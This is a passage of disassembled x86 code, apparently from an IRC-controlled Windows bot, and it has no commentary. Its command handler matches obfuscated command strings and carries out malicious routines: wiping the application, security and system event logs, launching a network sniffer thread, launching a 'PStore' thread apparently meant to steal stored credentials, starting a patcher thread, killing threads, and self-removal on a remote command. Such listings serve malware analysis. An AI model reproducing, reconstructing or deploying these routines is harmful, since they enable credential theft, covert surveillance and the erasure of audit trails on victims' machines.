		lea	eax, [ebp+var_37D8]
		push	eax
		push	ebx
		push	esi
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 14h


loc_40419F:				; CODE XREF: sub_403B2C+654j
		cmp	[ebp+arg_18], 0
		jz	loc_40AF54


loc_4041A9:				; CODE XREF: sub_403B2C+65Aj
		lea	eax, [ebp+var_37D8]


loc_4041AF:				; CODE XREF: sub_403B2C+1C46j
					; sub_403B2C+3D8Ej ...
		push	eax


loc_4041B0:				; CODE XREF: sub_403B2C+9FDj
		push	ebx
		push	esi
		jmp	loc_40A5C3
; ---------------------------------------------------------------------------


loc_4041B7:				; CODE XREF: sub_403B2C+5CAj
					; sub_403B2C+5D5j
		mov	edi, [ebp+arg_C]
		mov	ebx, offset aH08_Drzwx_	; "h/08./drzWX."
		mov	esi, offset aSMissingParamS ; "%s Missing param(s)"
		jmp	loc_407722
; ---------------------------------------------------------------------------


loc_4041C9:				; CODE XREF: sub_403B2C+5C1j
		and	[ebp+arg_0], 0
		cmp	dword_42F318, 0
		mov	edi, [ebp+arg_C]
		jle	loc_40430F
		mov	[ebp+arg_C], offset dword_454768


loc_4041E4:				; CODE XREF: sub_403B2C+7DDj
		mov	eax, [ebp+arg_C]
		push	dword ptr [esi]
		add	eax, 0FFFFFFE8h
		push	eax
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	loc_4042F6
		movsx	eax, byte_439016
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_7CAC]
		push	offset aCS	; "%c%s"
		push	eax
		call	sub_422063
		mov	ecx, [ebp+arg_10]
		add	esp, 10h
		call	sub_41111B
		push	eax
		lea	eax, [ebp+var_7CAC]
		push	offset aMe_0	; "$me"
		push	eax
		call	sub_41F167
		mov	ecx, [ebp+arg_10]
		add	esp, 0Ch
		call	sub_41111F
		push	eax
		lea	eax, [ebp+var_7CAC]
		push	offset aUser_1	; "$user"
		push	eax
		call	sub_41F167
		push	offset dword_439638
		lea	eax, [ebp+var_7CAC]
		push	offset aChan	; "$chan"
		push	eax
		call	sub_41F167
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_7CAC]
		push	offset a1	; "$1"
		push	eax
		call	sub_41F167
		push	dword ptr [esi+8]
		lea	eax, [ebp+var_7CAC]
		push	offset a2	; "$2"
		push	eax
		call	sub_41F167
		push	dword ptr [esi+0Ch]
		lea	eax, [ebp+var_7CAC]
		push	offset a3	; "$3"
		push	eax
		call	sub_41F167
		push	dword ptr [esi+10h]
		lea	eax, [ebp+var_7CAC]
		push	offset a4	; "$4"
		push	eax
		call	sub_41F167
		add	esp, 48h
		lea	eax, [ebp+var_7CAC]
		push	dword ptr [esi+14h]
		push	offset a5	; "$5"
		push	eax
		call	sub_41F167
		push	dword ptr [esi+18h]
		lea	eax, [ebp+var_7CAC]
		push	offset a6	; "$6"
		push	eax
		call	sub_41F167
		push	0
		lea	eax, [ebp+var_7CAC]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	edi
		push	eax
		call	sub_403A63
		add	esp, 2Ch


loc_4042F6:				; CODE XREF: sub_403B2C+6C5j
		inc	[ebp+arg_0]
		add	[ebp+arg_C], 0B8h
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_42F318
		jl	loc_4041E4


loc_40430F:				; CODE XREF: sub_403B2C+6ABj
		push	dword ptr [esi]
		push	offset aPdazx1odsoh0 ; "PDazX1oDSOh0"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_40432C
		push	dword ptr [edi+0Ch]
		mov	ecx, [ebp+arg_10]
		call	sub_40FEC8
		jmp	loc_40AF54
; ---------------------------------------------------------------------------


loc_40432C:				; CODE XREF: sub_403B2C+7EEj
		push	dword ptr [esi]
		push	offset aUc6wg1ovwvt1 ; "uc6Wg1OvWVt1"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_4043AF
		mov	esi, [esi+4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_40AF54
		push	esi
		call	sub_41CE88
		push	eax
		push	offset dword_4395C4
		call	sub_422760
		add	esp, 0Ch
		test	eax, eax
		jnz	loc_40AF54
		push	ebx
		push	ebx
		call	sub_41F455
		cmp	[ebp+arg_14], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_404375
		push	dword ptr [edi+8]
		jmp	short loc_40437A
; ---------------------------------------------------------------------------


loc_404375:				; CODE XREF: sub_403B2C+842j
		push	offset asc_435B04 ; "*"


loc_40437A:				; CODE XREF: sub_403B2C+847j
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		push	offset aRemoveCmdRecei ; "Remove cmd received: [%s!%s@root]"
		push	[ebp+arg_10]
		call	sub_41015C
		add	esp, 14h
		push	1F4h
		call	dword_42F15C	; Sleep
		mov	ecx, [ebp+arg_10]
		call	sub_41012A
		call	dword_454258	; WSACleanup
		push	ebx
		call	dword_42F06C	; ExitProcess


loc_4043AF:				; CODE XREF: sub_403B2C+80Bj
		push	dword ptr [esi]
		push	offset aVsz2xXqjp5 ; "Vsz2x/xqJP5/"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	loc_4044A6
		xor	esi, esi
		cmp	dword_4543E8, esi
		jnz	loc_404497
		mov	ebx, 94h
		lea	eax, [ebp+var_1F10]
		push	ebx
		push	esi
		push	eax
		call	sub_4221F0
		add	esp, 0Ch
		lea	eax, [ebp+var_1F10]
		mov	[ebp+var_1F10],	ebx
		push	eax
		call	dword_42F044	; GetVersionExA
		cmp	[ebp+var_1F00],	2
		mov	[ebp+var_15C], offset aApplication ; "application"
		mov	[ebp+var_158], offset aSecurity	; "security"
		mov	[ebp+var_154], offset aSystem ;	"system"
		mov	[ebp+arg_C], esi
		jnz	short loc_404455
		xor	ebx, ebx


loc_404423:				; CODE XREF: sub_403B2C+927j
		push	[ebp+ebx*4+var_15C]
		push	0
		call	dword_454288	; OpenEventLogA
		mov	esi, eax
		test	esi, esi
		jz	short loc_40444F
		push	0
		push	esi
		call	dword_454290	; ClearEventLogA
		test	eax, eax
		jz	short loc_404448
		inc	[ebp+arg_C]


loc_404448:				; CODE XREF: sub_403B2C+917j
		push	esi
		call	dword_45424C	; CloseEventLog


loc_40444F:				; CODE XREF: sub_403B2C+90Aj
		inc	ebx
		cmp	ebx, 3
		jl	short loc_404423


loc_404455:				; CODE XREF: sub_403B2C+8F3j
		xor	eax, eax
		cmp	[ebp+arg_14], eax
		jnz	loc_40AF54
		cmp	[ebp+arg_18], eax
		jnz	loc_40AF54
		cmp	[ebp+arg_C], eax
		mov	ebx, offset aH08_Drzwx_	; "h/08./drzWX."
		jle	short loc_40448C
		push	3
		push	[ebp+arg_C]
		push	ebx
		push	offset aSClearedDDSysl ; "%s Cleared [%d/%d] syslogs"
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 18h


loc_40448C:				; CODE XREF: sub_403B2C+945j
		push	ebx
		push	offset aSFailedToClear ; "%s Failed to clear syslogs"
		jmp	loc_40768E
; ---------------------------------------------------------------------------


loc_404497:				; CODE XREF: sub_403B2C+89Cj
		mov	ebx, offset aH08_Drzwx_	; "h/08./drzWX."
		mov	esi, offset aSAdvapi_dllNot ; "%s Advapi.dll not loaded"
		jmp	loc_407722
; ---------------------------------------------------------------------------


loc_4044A6:				; CODE XREF: sub_403B2C+88Ej
		push	dword ptr [esi]
		push	offset aOb4iqKj5ue_ ; "Ob4iQ/KJ5ue."
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	loc_40471C
		mov	eax, [esi+4]
		test	eax, eax
		jz	loc_4045C7
		push	eax
		push	offset aE0idd0rdw2u ; "e0idD0RDw2U/"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	loc_4045C7
		mov	eax, [esi+8]
		test	eax, eax
		jz	loc_40AF54
		push	eax
		push	offset a86tb1fspjg0 ; "86tb/1FSpjg0"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_404538
		call	sub_41BFDA
		test	eax, eax
		mov	[ebp+arg_C], eax
		mov	ebx, offset aQo1bf0_b7k40mn ; "qo1bf0.B7k40Mnsrm1FhS.k."
		jle	short loc_40452E
		cmp	[ebp+arg_14], 0
		mov	esi, offset aSStoppedDThrea ; "%s Stopped: [%d]	thread(s)"
		jnz	short loc_40451C
		cmp	[ebp+arg_18], 0
		jnz	short loc_404526
		push	eax
		push	ebx
		push	esi
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 14h


loc_40451C:				; CODE XREF: sub_403B2C+9D7j
		cmp	[ebp+arg_18], 0
		jz	loc_40AF54


loc_404526:				; CODE XREF: sub_403B2C+9DDj
		push	[ebp+arg_C]
		jmp	loc_4041B0
; ---------------------------------------------------------------------------


loc_40452E:				; CODE XREF: sub_403B2C+9CCj
		mov	esi, offset aSNoThreadSFoun ; "%s No thread(s) found"
		jmp	loc_407722
; ---------------------------------------------------------------------------


loc_404538:				; CODE XREF: sub_403B2C+9BBj
		push	dword ptr [esi+8]
		call	sub_422B5A
		push	eax
		call	sub_41BF58
		pop	ecx
		mov	ebx, offset aQo1bf0_b7k40mn ; "qo1bf0.B7k40Mnsrm1FhS.k."
		test	eax, eax
		pop	ecx
		jz	short loc_40458C
		cmp	[ebp+arg_14], 0
		jnz	short loc_404574
		cmp	[ebp+arg_18], 0
		jnz	short loc_40457E
		push	dword ptr [esi+8]
		push	ebx
		push	offset aSKilledThreadS ; "%s Killed thread: [%s]"
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 14h


loc_404574:				; CODE XREF: sub_403B2C+A29j
		cmp	[ebp+arg_18], 0
		jz	loc_40AF54


loc_40457E:				; CODE XREF: sub_403B2C+A2Fj
		push	dword ptr [esi+8]
		push	ebx
		push	offset aSKilledThreadS ; "%s Killed thread: [%s]"
		jmp	loc_40A5C3
; ---------------------------------------------------------------------------


loc_40458C:				; CODE XREF: sub_403B2C+A23j
		cmp	[ebp+arg_14], 0
		jnz	short loc_4045AF
		cmp	[ebp+arg_18], 0
		jnz	short loc_4045B9
		push	dword ptr [esi+8]
		push	ebx
		push	offset aSFailedToKillT ; "%s Failed to kill thread: [%s]"
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 14h


loc_4045AF:				; CODE XREF: sub_403B2C+A64j
		cmp	[ebp+arg_18], 0
		jz	loc_40AF54


loc_4045B9:				; CODE XREF: sub_403B2C+A6Aj
		push	dword ptr [esi+8]
		push	ebx
		push	offset aSFailedToKillT ; "%s Failed to kill thread: [%s]"
		jmp	loc_40A5C3
; ---------------------------------------------------------------------------


loc_4045C7:				; CODE XREF: sub_403B2C+990j
					; sub_403B2C+9A0j
		push	5
		call	sub_41C254
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_C], eax
		jle	short loc_404614
		cmp	[ebp+arg_14], 0
		mov	ebx, offset aQo1bf0_b7k40mn ; "qo1bf0.B7k40Mnsrm1FhS.k."
		mov	esi, offset aSSAlreadyRunni ; "%s %s Already running at	thread number:"...
		jnz	short loc_404602
		cmp	[ebp+arg_18], 0
		jnz	short loc_40460C
		push	eax
		push	offset aThreadList_0 ; "Thread list"
		push	ebx
		push	esi
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 18h


loc_404602:				; CODE XREF: sub_403B2C+AB8j
		cmp	[ebp+arg_18], 0
		jz	loc_40AF54


loc_40460C:				; CODE XREF: sub_403B2C+ABEj
		push	[ebp+arg_C]
		jmp	loc_4046FD
; ---------------------------------------------------------------------------


loc_404614:				; CODE XREF: sub_403B2C+AA8j
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_3620],	eax
		mov	eax, [ebp+arg_20]
		mov	[ebp+var_3624],	eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_361C],	eax
		test	eax, eax
		lea	eax, [ebp+var_36D0]
		jnz	short loc_40463E
		push	dword ptr [edi+0Ch]
		jmp	short loc_404640
; ---------------------------------------------------------------------------


loc_40463E:				; CODE XREF: sub_403B2C+B0Bj
		push	dword ptr [edi]


loc_404640:				; CODE XREF: sub_403B2C+B10j
		push	eax
		call	dword_42F04C	; lstrcpyA
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_36D4],	eax
		mov	esi, [esi+4]
		test	esi, esi
		jz	short loc_40466C
		push	offset aNfknl0nqigy0 ; "NFKNL0nQigY0"
		push	esi
		call	ebx ; dword_42F070
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_3640],	eax
		jmp	short loc_404673
; ---------------------------------------------------------------------------


loc_40466C:				; CODE XREF: sub_403B2C+B29j
		and	[ebp+var_3640],	0


loc_404673:				; CODE XREF: sub_403B2C+B3Ej
		mov	ebx, offset aQo1bf0_b7k40mn ; "qo1bf0.B7k40Mnsrm1FhS.k."
		push	ebx
		push	offset aSThreadList ; "%s Thread list"
		push	5
		call	sub_41BED7
		add	esp, 0Ch
		mov	[ebp+var_3650],	eax
		lea	eax, [ebp+arg_6C]
		xor	esi, esi
		push	eax
		lea	eax, [ebp+var_36D4]
		push	esi
		push	eax
		push	offset sub_41C143
		push	esi
		push	esi
		call	dword_42F158	; CreateThread
		mov	ecx, [ebp+var_3650]
		imul	ecx, 1018h
		cmp	eax, esi
		mov	dword_46D414[ecx], eax
		jnz	short loc_40470F
		cmp	[ebp+arg_14], 0
		mov	esi, offset aSFailedToStart ; "%s Failed to start [%s],	error: [%d]"
		jnz	short loc_4046EC
		cmp	[ebp+arg_18], 0
		jnz	short loc_4046F6
		call	dword_42F068	; RtlGetLastWin32Error
		push	eax
		push	offset aThreadList_0 ; "Thread list"
		push	ebx
		push	esi
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 18h


loc_4046EC:				; CODE XREF: sub_403B2C+B9Cj
		cmp	[ebp+arg_18], 0
		jz	loc_40AF54


loc_4046F6:				; CODE XREF: sub_403B2C+BA2j
		call	dword_42F068	; RtlGetLastWin32Error
		push	eax


loc_4046FD:				; CODE XREF: sub_403B2C+AE3j
		push	offset aThreadList_0 ; "Thread list"
		jmp	loc_40AF45
; ---------------------------------------------------------------------------


loc_404707:				; CODE XREF: sub_403B2C+BE9j
		push	32h
		call	dword_42F15C	; Sleep


loc_40470F:				; CODE XREF: sub_403B2C+B91j
		cmp	[ebp+var_3618],	esi
		jz	short loc_404707
		jmp	loc_40AF54
; ---------------------------------------------------------------------------


loc_40471C:				; CODE XREF: sub_403B2C+985j
		push	dword ptr [esi]
		push	offset aG3obv_r6j7h ; "g3obv.r6j7H/"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	loc_40485C
		push	dword ptr [esi+4]
		push	offset aDJstMfgyq_ ; "d/Jst/MFgyQ."
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	loc_40485C
		push	0Eh
		call	sub_41C254
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_C], eax
		jle	short loc_404791
		cmp	[ebp+arg_14], 0
		mov	esi, offset aSSAlreadyRunni ; "%s %s Already running at	thread number:"...
		mov	ebx, offset aM7pC1xaudb1ty8 ; "m7P/c1xaudB1TY84s/myQpz0"
		jnz	short loc_40477A
		cmp	[ebp+arg_18], 0
		jnz	short loc_404784
		push	eax
		push	offset aSniffer_ ; "Sniffer."
		push	ebx
		push	esi
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 18h


loc_40477A:				; CODE XREF: sub_403B2C+C30j
		cmp	[ebp+arg_18], 0
		jz	loc_40AF54


loc_404784:				; CODE XREF: sub_403B2C+C36j
		push	[ebp+arg_C]
		push	offset aSniffer_ ; "Sniffer."
		jmp	loc_40AF45
; ---------------------------------------------------------------------------


loc_404791:				; CODE XREF: sub_403B2C+C20j
		cmp	[ebp+arg_2C], 0
		jz	short loc_40479E
		mov	esi, [esi+8]
		test	esi, esi
		jnz	short loc_4047A5


loc_40479E:				; CODE XREF: sub_403B2C+C69j
		push	offset dword_439648
		jmp	short loc_4047A6
; ---------------------------------------------------------------------------


loc_4047A5:				; CODE XREF: sub_403B2C+C70j
		push	esi


loc_4047A6:				; CODE XREF: sub_403B2C+C77j
		lea	eax, [ebp+var_3C54]
		push	eax
		call	dword_42F04C	; lstrcpyA
		mov	eax, [ebp+arg_10]
		mov	ebx, offset aM7pC1xaudb1ty8 ; "m7P/c1xaudB1TY84s/myQpz0"
		push	ebx
		push	offset aSSniffer_ ; "%s	Sniffer."
		push	0Eh
		mov	[ebp+var_3C58],	eax
		call	sub_41BED7
		add	esp, 0Ch
		mov	[ebp+var_3BD4],	eax
		lea	eax, [ebp+arg_6C]
		xor	esi, esi
		push	eax
		lea	eax, [ebp+var_3C58]
		push	esi
		push	eax
		push	offset sub_415A65
		push	esi
		push	esi
		call	dword_42F158	; CreateThread
		mov	ecx, [ebp+var_3BD4]
		imul	ecx, 1018h
		cmp	eax, esi
		mov	dword_46D414[ecx], eax
		jnz	short loc_404817


loc_404808:				; CODE XREF: sub_403B2C+D1Dj
					; sub_403B2C+D2Ej ...
		xor	eax, eax
		jmp	loc_40AF57
; ---------------------------------------------------------------------------


loc_40480F:				; CODE XREF: sub_403B2C+CF1j
		push	32h
		call	dword_42F15C	; Sleep


loc_404817:				; CODE XREF: sub_403B2C+CDAj
		cmp	[ebp+var_3B9C],	esi
		jz	short loc_40480F
		xor	eax, eax
		mov	esi, offset aSStarted_ ; "%s started."
		cmp	[ebp+arg_14], eax
		jnz	short loc_404845
		cmp	[ebp+arg_1C], eax
		jnz	short loc_404845
		cmp	[ebp+arg_18], eax
		jnz	short loc_40484B
		push	ebx
		push	esi
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 10h


loc_404845:				; CODE XREF: sub_403B2C+CFDj
					; sub_403B2C+D02j
		cmp	[ebp+arg_18], 0
		jz	short loc_404808


loc_40484B:				; CODE XREF: sub_403B2C+D07j
		push	ebx


loc_40484C:				; CODE XREF: sub_403B2C+68CDj
		push	esi


loc_40484D:				; CODE XREF: sub_403B2C+66E2j
		push	dword ptr [edi]
		push	[ebp+arg_10]
		call	sub_410491


loc_404857:				; CODE XREF: sub_403B2C+2199j
		add	esp, 10h
		jmp	short loc_404808
; ---------------------------------------------------------------------------


loc_40485C:				; CODE XREF: sub_403B2C+BFBj
					; sub_403B2C+C0Dj
		push	dword ptr [esi]
		push	offset aG3obv_r6j7h ; "g3obv.r6j7H/"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_404893
		push	dword ptr [esi+4]
		push	offset aErwc30qfw_p0 ; "eRWc30Qfw.P0"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	short loc_404893
		push	offset aSniffer	; "Sniffer"
		push	0Eh
		jmp	loc_409B7C
; ---------------------------------------------------------------------------


loc_404883:				; CODE XREF: sub_403B2C+6059j
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	dword ptr [edi]
		jmp	loc_40A166
; ---------------------------------------------------------------------------


loc_404893:				; CODE XREF: sub_403B2C+D3Bj
					; sub_403B2C+D49j
		push	dword ptr [esi]
		push	offset aM5spx_qp7lx_ ; "M5sPX.Qp7Lx."
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	loc_404AAD
		push	0Fh
		call	sub_41C254
		xor	ebx, ebx
		pop	ecx
		cmp	eax, ebx
		mov	[ebp+arg_C], eax
		jle	short loc_4048F3
		cmp	[ebp+arg_14], 0
		mov	esi, offset aSSAlreadyRunni ; "%s %s Already running at	thread number:"...
		mov	ebx, offset aIazcn0rzRw0xfk ; "iaZcN0Rz/rw0xfK1r.VuQwI."
		jnz	short loc_4048E1
		cmp	[ebp+arg_18], 0
		jnz	short loc_4048EB
		push	eax
		push	offset aPstore	; "PStore"
		push	ebx
		push	esi
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 18h


loc_4048E1:				; CODE XREF: sub_403B2C+D97j
		cmp	[ebp+arg_18], 0
		jz	loc_40AF54


loc_4048EB:				; CODE XREF: sub_403B2C+D9Dj
		push	[ebp+arg_C]
		jmp	loc_404AA3
; ---------------------------------------------------------------------------


loc_4048F3:				; CODE XREF: sub_403B2C+D87j
		cmp	[ebp+arg_2C], ebx
		jz	short loc_4048FF
		mov	eax, [esi+8]
		cmp	eax, ebx
		jnz	short loc_404906


loc_4048FF:				; CODE XREF: sub_403B2C+DCAj
		push	offset dword_43964C
		jmp	short loc_404907
; ---------------------------------------------------------------------------


loc_404906:				; CODE XREF: sub_403B2C+DD1j
		push	eax


loc_404907:				; CODE XREF: sub_403B2C+DD8j
		lea	eax, [ebp+var_1984]
		push	eax
		call	dword_42F04C	; lstrcpyA
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_18CC],	ebx
		mov	[ebp+var_1988],	eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18D4],	eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_18D0],	eax
		mov	eax, [ebp+arg_20]
		mov	[ebp+var_18D8],	eax
		mov	eax, [esi+4]
		cmp	eax, ebx
		jz	short loc_404961
		push	offset asc_435B04 ; "*"
		push	eax
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404961
		mov	eax, [esi+4]
		mov	[ebp+var_1900],	eax
		jmp	short loc_404967
; ---------------------------------------------------------------------------


loc_404961:				; CODE XREF: sub_403B2C+E17j
					; sub_403B2C+E28j
		mov	[ebp+var_1900],	ebx


loc_404967:				; CODE XREF: sub_403B2C+E33j
		mov	ebx, offset aIazcn0rzRw0xfk ; "iaZcN0Rz/rw0xfK1r.VuQwI."
		push	ebx
		push	offset aSPstore	; "%s PStore"
		push	0Fh
		call	sub_41BED7
		add	esp, 0Ch
		mov	[ebp+var_1904],	eax
		lea	eax, [ebp+arg_6C]
		lea	ecx, [ebp+var_1988]
		push	eax
		xor	eax, eax
		push	eax
		push	ecx
		push	offset sub_415DBD
		push	eax
		push	eax
		call	dword_42F158	; CreateThread
		mov	ecx, [ebp+var_1904]
		mov	esi, offset aSFailedToStart ; "%s Failed to start [%s],	error: [%d]"
		imul	ecx, 1018h
		test	eax, eax
		mov	dword_46D414[ecx], eax
		jnz	loc_404A49
		cmp	[ebp+arg_14], eax
		jnz	short loc_4049E2
		cmp	[ebp+arg_18], eax
		jnz	short loc_4049E8
		call	dword_42F068	; RtlGetLastWin32Error
		push	eax
		push	offset aPstore	; "PStore"
		push	ebx
		push	esi
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 18h


loc_4049E2:				; CODE XREF: sub_403B2C+E93j
		cmp	[ebp+arg_18], 0
		jz	short loc_404A03


loc_4049E8:				; CODE XREF: sub_403B2C+E98j
		call	dword_42F068	; RtlGetLastWin32Error
		push	eax
		push	offset aPstore	; "PStore"
		push	ebx
		push	esi
		push	dword ptr [edi]
		push	[ebp+arg_10]
		call	sub_410491
		add	esp, 18h


loc_404A03:				; CODE XREF: sub_403B2C+EBAj
					; sub_403B2C+F26j
		push	1F40h
		call	dword_42F15C	; Sleep
		lea	eax, [ebp+arg_6C]
		lea	ecx, [ebp+var_1988]
		push	eax
		xor	eax, eax
		push	eax
		push	ecx
		push	offset sub_416B4C
		push	eax
		push	eax
		call	dword_42F158	; CreateThread
		mov	ecx, [ebp+var_1904]
		imul	ecx, 1018h
		test	eax, eax
		mov	dword_46D414[ecx], eax
		jz	short loc_404A6A
		jmp	short loc_404A5C
; ---------------------------------------------------------------------------


loc_404A41:				; CODE XREF: sub_403B2C+F24j
		push	32h
		call	dword_42F15C	; Sleep


loc_404A49:				; CODE XREF: sub_403B2C+E8Aj
		cmp	[ebp+var_18CC],	0
		jz	short loc_404A41
		jmp	short loc_404A03
; ---------------------------------------------------------------------------


loc_404A54:				; CODE XREF: sub_403B2C+F37j
		push	32h
		call	dword_42F15C	; Sleep


loc_404A5C:				; CODE XREF: sub_403B2C+F13j
		cmp	[ebp+var_18CC],	0
		jz	short loc_404A54
		jmp	loc_40AF54
; ---------------------------------------------------------------------------


loc_404A6A:				; CODE XREF: sub_403B2C+F11j
		cmp	[ebp+arg_14], 0
		jnz	short loc_404A92
		cmp	[ebp+arg_18], 0
		jnz	short loc_404A9C
		call	dword_42F068	; RtlGetLastWin32Error
		push	eax
		push	offset aPstore	; "PStore"
		push	ebx
		push	esi
		push	dword ptr [edi+0Ch]
		push	[ebp+arg_10]
		call	sub_4104F6
		add	esp, 18h


loc_404A92:				; CODE XREF: sub_403B2C+F42j
		cmp	[ebp+arg_18], 0
		jz	loc_40AF54


loc_404A9C:				; CODE XREF: sub_403B2C+F48j
		call	dword_42F068	; RtlGetLastWin32Error
		push	eax


loc_404AA3:				; CODE XREF: sub_403B2C+DC2j
		push	offset aPstore	; "PStore"
		jmp	loc_40AF45
; ---------------------------------------------------------------------------


loc_404AAD:				; CODE XREF: sub_403B2C+D72j
		push	dword ptr [esi]
		push	offset aF9ax112067l1 ; "f9aX112067l1"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	loc_404C28
		xor	ebx, ebx
		cmp	[ebp+arg_2C], ebx
		jnz	loc_404B7B
		cmp	[esi+4], ebx
		jz	loc_408AB4
		cmp	[esi+8], ebx
		jz	loc_408AB4
		cmp	[esi+0Ch], ebx
		jz	loc_408AB4
		lea	eax, [ebp+var_5B18]
		push	offset dword_43964C
		push	eax
		call	dword_42F04C	; lstrcpyA
		push	dword ptr [esi+4]
		call	sub_41A292
		push	dword ptr [esi+0Ch]
		mov	[ebp+arg_C], eax
		lea	eax, [ebp+var_43E4]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_422063
		add	esp, 10h
		push	4
		pop	edi
		cmp	[ebp+arg_4], edi
		jle	short loc_404B5A


loc_404B20:				; CODE XREF: sub_403B2C+102Cj
		mov	eax, [esi+edi*4]
		cmp	eax, ebx
		jz	short loc_404B54
		push	eax
		lea	eax, [ebp+var_18CAC]
		push	offset aS_0	; " %s"
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_18CAC]
		push	104h
		push	eax
		lea	eax, [ebp+var_43E4]
		push	eax
		call	sub_421F40
		add	esp, 18h


loc_404B54:				; CODE XREF: sub_403B2C+FF9j
		inc	edi
		cmp	edi, [ebp+arg_4]
		jl	short loc_404B20


loc_404B5A:				; CODE XREF: sub_403B2C+FF2j
		push	dword ptr [esi+8]
		lea	eax, [ebp+var_43E4]
		push	eax
		lea	eax, [ebp+var_5B18]
		push	[ebp+arg_C]


loc_404B6D:				; CODE XREF: sub_403B2C+10F7j
		push	[ebp+arg_10]
		push	eax
		call	sub_4177A2
		jmp	loc_40A5CD
; ---------------------------------------------------------------------------


loc_404B7B:				; CODE XREF: sub_403B2C+F97j
		mov	eax, [esi+4]
		cmp	eax, ebx
		jz	loc_408AB4
		cmp	[esi+8], ebx
		jz	loc_408AB4
		cmp	[esi+0Ch], ebx
		jz	loc_408AB4
		cmp	[esi+10h], ebx
		jz	loc_408AB4
		push	eax
		lea	eax, [ebp+var_54D8]
		push	eax
		call	dword_42F04C	; lstrcpyA
		push	dword ptr [esi+8]
		call	sub_41A292
		push	dword ptr [esi+10h]
		mov	ebx, eax
		lea	eax, [ebp+var_41E0]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_422063
		add	esp, 10h
		push	5
		pop	edi
		cmp	[ebp+arg_4], edi
		jle	short loc_404C12


loc_404BD8:				; CODE XREF: sub_403B2C+10E4j
		mov	eax, [esi+edi*4]
		test	eax, eax
		jz	short loc_404C0C
		push	eax
		lea	eax, [ebp+var_10CAC]
		push	offset aS_0	; " %s"
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_10CAC]
		push	104h
		push	eax
		lea	eax, [ebp+var_41E0]
		push	eax
		call	sub_421F40
		add	esp, 18h


loc_404C0C:				; CODE XREF: sub_403B2C+10B1j
		inc	edi
		cmp	edi, [ebp+arg_4]
		jl	short loc_404BD8


loc_404C12:				; CODE XREF: sub_403B2C+10AAj
		push	dword ptr [esi+0Ch]
		lea	eax, [ebp+var_41E0]
		push	eax
		push	ebx
		lea	eax, [ebp+var_54D8]
		jmp	loc_404B6D
; ---------------------------------------------------------------------------


loc_404C28:				; CODE XREF: sub_403B2C+F8Cj
		push	dword ptr [esi]
		push	offset a1ylid_ejqp01 ; "1YLId.eJQP01"
		call	ebx ; dword_42F070
		test	eax, eax
		jnz	loc_404D23
		mov	eax, [ebp+arg_14]
		push	offset dword_439644
		mov	[ebp+var_3AC], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_3A8], eax
		mov	eax, [ebp+arg_20]
		mov	[ebp+var_3A4], eax
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_434], eax
		lea	eax, [ebp+var_430]
		push	eax
		call	dword_42F04C	; lstrcpyA
		push	offset aIi290eb6g4Ty84 ; "II/290Eb6G4/TY84s/myQpz0"
		push	offset aSPatcherThread ; "%s Patcher thread."
		push	4
		call	sub_41BED7
		add	esp, 0Ch
		xor	esi, esi
		mov	[ebp+var_3B0], eax
		lea	eax, [ebp+var_434]
		push	esi
		push	esi
		push	eax
		push	offset sub_41FE93
		push	esi
		push	esi
		call	dword_42F158	; CreateThread
		mov	ecx, [ebp+var_3B0]
		imul	ecx, 1018h
		cmp	eax, esi
		mov	dword_46D414[ecx], eax
		jnz	short loc_404D0C
		cmp	[ebp+arg_14], 0
		mov	esi, offset aSFailedToStart ; "%s Failed to start [%s],	error: [%d]"
		mov	ebx, offset a68gmpWcesMnsrm ; "68gmp/wceS//Mnsrm1FhS.k."
		jnz	short loc_404CE9
